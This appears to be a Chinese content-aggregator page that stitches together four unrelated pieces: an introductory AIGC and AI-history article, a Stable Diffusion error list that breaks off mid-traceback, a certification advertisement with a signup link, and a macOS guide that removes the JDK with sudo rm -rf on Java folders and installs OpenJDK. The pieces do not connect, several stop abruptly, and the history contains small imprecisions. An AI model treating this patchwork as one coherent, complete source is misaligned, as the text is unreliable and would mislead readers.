AIGC从入门到入坑01(初学者适用版)

AIGC从入门到入坑系列文章 AIGC系列第一章--简述 AIGC从入门到入坑系列文章前言学习路径AI时间线人工智能简史AI绘画简史 AI名词解释小白从0-1必看5篇资料初学者进阶必读8篇资料总结 前言 Today,人工智能技术快速发展和广泛应用已经引起大众的兴趣和关注了。特别是作为人工智能重要分支的深度学习,展现出独有的统治力,引领了一场科技革命。作为一名刚毕业的本科生,本身对人工智能感兴趣的我也选择加入这场浪潮中,开坑系列博客,同时作为自己的学习笔记,希望自己能吃透AIGC和AI大模型,探寻一条到AGI的朝圣之路。 首先说明一下AIGC、AI大模型和AGI三个名词的解释,正所谓知其然,才知其所以然。 AIGC:全名“AI Generated Content”,称为“生成式AI”。由AI自动创作生成的内容,例如AI文本续写,文字转图像的AI图、AI数字化主持人等,都属于AIGC的范畴。AI大模型:全名“AI Large Models”,是指具有大量参数和复杂结构的人工智能模型,AI大模型训练需要巨大的计算资源和复杂的分布式系统支持。AGI:全名"Artificial General Intelligence",AGI 指的是通用人工智能,也称为强人工智能。AGI旨在实现像人类一样的通用智能,能够在各种不同领域进行学习和推理,并具备类似人类的认知能力。 让我们先吃透AIGC吧~ 以下是本篇文章正文内容 学习路径 AI时间线 人工智能简史 提到计算机,人工智能就不得不提到计算机科学之父、人工智能之父----Alan Mathison Turing艾伦·麦席森·图灵,他是计算机逻辑的奠基者,提出了“图灵机”和“图灵测试”等重要概念。为纪念他在计算机领域的卓越贡献,美国计算机协会于1966年设立图灵奖,此奖项被誉为计算机科学界的诺贝尔奖。 1950年图灵提出了图灵测试,他主张用这个测试来判断计算机是否具有“智能”。所谓图灵测试就是隔墙相问,不知道与你对话的是人还是机器。 推荐好文:人工智能风云录之图灵开天香农辟地 1956年的夏天,在美国达特茅斯Dartmouth College 的一次会议上, AI 被定义为计算机科学的一个研究领域, Marvin Minsky (明斯基) ,John McCarthy (麦卡锡) ,Claude Shannon (香农) ,还有Nathaniel Rochester (罗切斯特)组织了这次会议,他们后来被称为AI的奠基人。 2012年,深度学习兴起,深度学习(Deep Learning)是机器学习(Machine Learning)的子集,它使用多层神经网络和反向传播(Backpropagation)技术来训练神经网络。该领域是几乎是由Geoffrey Hinton开创的,早在1986年, Hinton与他的同事一起发表了关于深度神经网络(DNNs-Deep Neural Networks)的开创性论文,这篇文章引入了反向传播的概念,这是一种调整权重的算法。 2016年:DeepMind(14年被谷歌5.25亿美元收购)的AlphaGo在2016年战胜了围棋世界冠军李世石。这是一个历史性的时刻,它标志着人工智能在围棋这个历史悠久且复杂度极高的游戏中超越了人类,对人类对于机器智能和未来可能性的理解产生了深远影响。 2022年:OpenAI发布了ChatGPT语言模型,这个模型基于GPT-3框架,其能力在于生成和理解自然语言,甚至能与人类进行深度交谈。ChatGPT的问世是人工智能在自然语言处理领域的一大里程碑,它开启了人工,智能的新纪元。通过深度学习和大规模数据训练, ChatGPT能理解复杂的人类语言,并生成具有连贯性和创造性的回应。 推荐好文:ChatGPT 中,G、P、T 分别是什么意思? AI绘画简史 2014年:对抗生成网络GAN诞生,AI学术界提出了一个非常重要的深度学习模型,这就是大名鼎鼎的对抗生成网络GAN(Generative Adversarial Network, GAN) 推荐好文:生成对抗式网络GAN(一) —— 基于传统数学和能量的角度 2015年11月: 《Deep Unsupervised Learning usingNonequilibrium Thermodynamics》论文发表扩散模型的开山之作,奠定了扩散模型的理论基础和基本框架

【AIGC】Stable Diffusion的常见错误

Stable Diffusion 在使用过程中可能会遇到各种各样的错误。以下是一些常见的错误以及可能的解决方案: 模型加载错误:可能出现模型文件损坏或缺失的情况。解决方案包括重新下载模型文件,确保文件完整并放置在正确的位置。 依赖项错误:Stable Diffusion 需要特定的依赖项才能正常运行。确保已经安装了所有必要的依赖项,并且它们的版本与要求的兼容。 系统配置问题:有时系统配置可能会影响 Stable Diffusion 的运行。例如,内存不足、显存不足、权限问题等。检查系统配置,并尝试解决相关问题。 网络问题:如果 Stable Diffusion 需要从远程服务器下载模型或依赖项,可能会受到网络问题的影响。确保网络连接稳定,并且没有被防火墙或代理服务器阻止访问。 版本不匹配:某些功能可能需要特定版本的 Stable Diffusion 才能正常运行。确保您正在使用与所需功能兼容的版本。 权限问题:在某些情况下,权限不足可能会阻止 Stable Diffusion 执行某些操作,例如写入文件或创建进程。确保您有足够的权限来执行所需的操作。 环境变量配置错误:如果 Stable Diffusion 需要特定的环境变量才能正常运行,而这些变量未正确配置,可能会导致错误。检查环境变量设置,并进行必要的更改。 日志文件分析:查看 Stable Diffusion 生成的日志文件可以帮助您识别问题所在。查找关键字或错误消息,以确定出现错误的原因,并尝试解决它们。 如果您遇到了其他错误或无法解决问题,请尝试在 Stable Diffusion 的官方文档、社区论坛或开发者社区中寻求帮助。通常情况下,这些资源都会提供有关常见问题和解决方案的信息; 以下是一些示例: 一、 [Dreambooth] accelerate v0.21.0 is already installed. [Dreambooth] dadaptation v3.2 is not installed. Error occurred: Collecting dadaptation>=3.2 Using cached dadaptation-3.2.tar.gz (13 kB) Installing build dependencies: started Installing build dependencies: finished with status 'done' Getting requirements to build wheel: started Getting requirements to build wheel: finished with status 'done' ERROR: Exception: Traceback (most recent call last): File "

AIGC职业技能如何官方考证,如何提升AI下的就业新能力

来看主流招聘渠道对AIGC的人才需求 可以清晰的看出AIGC工程师已经成为高薪的主流,这个门槛并不高,只是新兴的行业和领域,普通人如何轻松跨入,国家工信部推出培训和考评服务,通过一个服务平台提供完整的学习和考证体系,报名见下方内容链接和评论。 报名链接如下地址 http://aiyun.aigccert.com

卸载jdk及安装openJDK(mac)

一、卸载JDK 1、查询是否安装JDK java -version 2、删除运行环境 sudo rm -fr /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin sudo rm -fr /Library/PreferencesPanes/JavaControlPanel.prefPane sudo rm -fr ~/Library/Application\ Support/Java 3、获取Java安装的真实路径 /usr/libexec/java_home -V 4、删除第三步获取到的java安装路径并删除 sudo rm -rf /Library/Java/JavaVirtualMachines/jdk-11.jdk/Contents/Home 二、安装openJDK jdk官方安装教程:https://www.java.com/zh-CN/download/help/mac_install.html 1、下载地址 Java Downloads | Oracle 中国 2、下载需要的版本 3、解压.gz文件 //移动到自己的目录 mv /Users/xxx/openjdk-11.0.2_osx-x64_bin.tar.gz /Users/xxx/software //解压压缩文件 tar -zxvf openjdk-11.0.2_osx-x64_bin.tar.gz 4、 修改bash_profile文件 //打开 open .bash_profile //修改 export JAVA_HOME=/Users/liyuan/software/jdk-11.0.2.jdk/Contents/Home export PATH=$JAVA_HOME/bin:$PATH:. export CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:. //保存关闭 control+S //文件生效 source .bash_profile 5、查看openjdk版本 java -version 6、异常解决 第5步没有安装成功,可能的原因是隐私与安全性没有获取权限,在这里授权后,重复第5步即可